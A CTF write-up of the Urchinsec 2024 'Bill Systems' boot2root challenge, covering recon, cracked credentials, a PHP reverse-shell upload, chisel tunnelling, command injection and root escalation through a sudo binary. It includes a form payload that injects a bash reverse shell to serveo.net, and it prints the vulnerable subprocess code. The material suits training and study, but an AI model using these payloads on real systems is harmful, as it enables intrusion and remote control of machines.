Featured image of post Urchinsec_2024

Urchinsec_2024

Writeup for urchinsec 2024 boot2root challenge

This is the writeup for the boot 2 root challenge Bill Systems which i got the second solve.

This challneg requires knowledge in:

  • recon
  • persistense
  • lateral movement
  • priviledge escalation

Bill Systems

categoty: boot2root difficulty: medium

we are given:

1
2
3
SCOPE OF ENGAGEMENT
domains : *.billsys.urc
IP : 45.79.66.97

First we need to gather more info, so i ran an nmap scan to see open ports

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey: 
|   256 9e:cd:9e:38:58:35:4c:24:1a:01:29:0d:9d:26:fe:2b (ECDSA)
|_  256 50:35:25:83:7d:aa:d7:42:43:d4:bb:fa:e8:6c:12:bb (ED25519)
25/tcp   filtered smtp
80/tcp   open     http
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 200 OK
|     Date: Sat, 27 Apr 2024 12:15:19 GMT
|     Content-Length: 0
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Date: Sat, 27 Apr 2024 12:15:12 GMT
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Date: Sat, 27 Apr 2024 12:15:13 GMT
|_    Content-Length: 0
443/tcp  open     https?
3000/tcp open     ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=7748aed9b1afa3fe; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=U5NJcsVjX-xLNIhZ6o64wSWiZd86MTcxNDIyMDExMzY5MDg3MDY4Nw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 27 Apr 2024 12:15:13 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" data-theme="gitea-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdC5iaWxsc3lzLnVyYy8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdC5iaWxsc3lzLnVyYy9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpem
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=e41496a78b8b88ad; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=vUtLqCC5_VSGwBmhopYmXC6PyWM6MTcxNDIyMDEyMDUyMzg0MjU2Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 27 Apr 2024 12:15:20 GMT
|_    Content-Length: 0
3306/tcp open     mysql       MariaDB (unauthorized)
3333/tcp open     nagios-nsca Nagios NSCA
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=4/27%Time=662CEC50%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,4B,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Sat,\x2027\x20Apr\x202
SF:024\x2012:15:12\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,
SF:4B,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Sat,\x2027\x20Apr\x202024\x2012:
SF:15:13\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhF
SF:ourRequest,4B,"HTTP/1\.0\x20200\x20OK\r\nDate:\x20Sat,\x2027\x20Apr\x20
SF:2024\x2012:15:19\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(GenericLine
SF:s,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain
SF:;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request
SF:")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCo
SF:ntent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n
SF:\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20
SF:Request")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent
SF:-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n4
SF:00\x20Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\
SF:x20close\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x204
SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r
SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.94SVN%I=7%D=4/27%Time=662CEC51%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,38A1,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=7748aed9b1afa3fe;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=U5NJcsVjX-xLNIhZ6o64wSWiZd86MTcxNDIyMDExMzY5MDg3MDY4Nw;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Sat,\x2027\x20Apr\x202024\x2012:15:13\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20data-theme=
SF:\"gitea-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"widt
SF:h=device-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x
SF:20a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"
SF:data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG
SF:9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic
SF:3RhcnRfdXJsIjoiaHR0cDovL2dpdC5iaWxsc3lzLnVyYy8iLCJpY29ucyI6W3sic3JjIjoi
SF:aHR0cDovL2dpdC5iaWxsc3lzLnVyYy9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6Iml
SF:tYWdlL3BuZyIsInNpem")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Me
SF:thod\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Cont
SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nS
SF:et-Cookie:\x20i_like_gitea=e41496a78b8b88ad;\x20Path=/;\x20HttpOnly;\x2
SF:0SameSite=Lax\r\nSet-Cookie:\x20_csrf=vUtLqCC5_VSGwBmhopYmXC6PyWM6MTcxN
SF:DIyMDEyMDUyMzg0MjU2Mw;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20Sam
SF:eSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Sat,\x2027\x20A
SF:pr\x202024\x2012:15:20\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest");

Only ports of interest were 22, 25 , 80 , 3306

on port 80 is bills portfolio other than that there is nothing interesting

portfoilio

so we try and get the subdomains:

There are two subdomains :

  • git.billsys.urc - this is running a local instance of gittea
  • storage.billsys.urc - this is running am instance of tiny file manager

On git.billsys.urc we create an account and login. There are other users and repos but the one that sticks out is that of bill.

gittea

It is source code for a python web app called sesame.

Looking at the commits we see a sqllite instance database that had been ommited we download it and view contents

keys

users

cracking the user hash we get the password

1
ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f : password123

On storage.billsys.urc we are provided with an instance of tiny file manager we also require creds to access it. *

1
admin : admin@123

Here we can upload files , so i upload a php rev shell


Dropping to the shell we see that we are user “http”. There is no obvious method of priv esc.

I was stuck here till i checked the open ports on the machine using netstat.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      38132/python3       
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::5355                 :::*                    LISTEN      -                   
tcp6       0      0 :::3306                 :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::3000                 :::*                    LISTEN      -                   
tcp6       0      0 :::3333                 :::*                    LISTEN      - 

As you see above there is a service on port 80 that is only accessed internally.

To access this from our attack box we will need to use a tunnel client like chisel. You can get chisel » here

1
2
on attackbox >> ./chisel server -p 8000 --reverse
on chal machine  >> ./chisel client <ip>:8000 R:8001:127.0.0.1:8080

After this we can access the service on port 80 which is the sesame application we got the src earlier.


On the sesame applicatiion we login with the creds we found in the sqlite db file.

If you read the src this application is used by bill to read files in the server.

There is nothing else interesting so i looked through the source code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

in main.py

def dashboard():
    if request.method == "GET":
        return render_template('dash.html')
    if request.method == "POST":
        key = request.form.get("key")
        file_read = request.form.get("fileread")
        check_key = SesameKey.query.filter_by(key=key).first()
        if check_key is not None:
            num = 107
            stk = chr(num)
            secret = ''.join([chr(ord(x) ^ ord(stk)) for x in key])
            with open("temp_secret", "w") as temp:
                temp.write(secret)
            command = f"sudo sesame -i temp_secret -r {file_read}"
            run = subprocess.check_output(command, shell=True)
            run = run.decode('utf-8')

            os.system(f"rm -rf temp_secret")

            return render_template('dash.html', message="It Works")
        else:
            return render_template('dash.html', message="Wrong Key")

If you look carefully our user input is not being sanitized and it is being put directly to subprocess module. Seeing this you immediately think command execution.

The catch is that the output of a command you run will not be displayed.

So after some trial i created:

cmd

1
key=IpwnEazy@@#TH!ngG5~&fileread=/etc/passwd; bash -c "bash -i >& /dev/tcp/serveo.net/33997 0>&1"&action=

This gets us a reverse shell. We are now the user bill. From here i created ssh keys so that i could login via ssh which is better and more stable.

ssh


Our target now us to achieve root.

Running sudo -l we can see that our user can run “sesame” command with sudo rights.

This command is used earlier in the python application

1
2
3
Running : sudo sesame -i temp_secret -r /etc/shadow 

Note: shadow file is only read by root so with this  command we can read files as the root user.

shadow

1
2
3
4
5
6
7
8
9

Error: -i is a required argument
Usage of sesame:
  -h	Prints This Output
  -i string
    	Input Secret File To Read Secret (-i /path/to/secret.txt)
  -r string
    	File To Read (-r /path/to/filetoread.txt)
  -s	Change Permissions Of Files

It also supports changing of file permissions with -s flag.

SO in order to read the root flag we can exploit this. So after some trial and error i did this

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
sudo sesame -i temp_secret -s 


When it prompts for a file enter 


../../../../../../root/.


When it prompts for permission 

777

This above will make the root permission be rwx by everyone.

1
. (dot): This refers to the current directory. For example, if you're in the directory /home/user, then . refers to /home/user.

From here you can read the root flag

flag : urchinsec{I_know_CTF_This_S3rV35_IS_we334akK_NEXTTTT}


Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy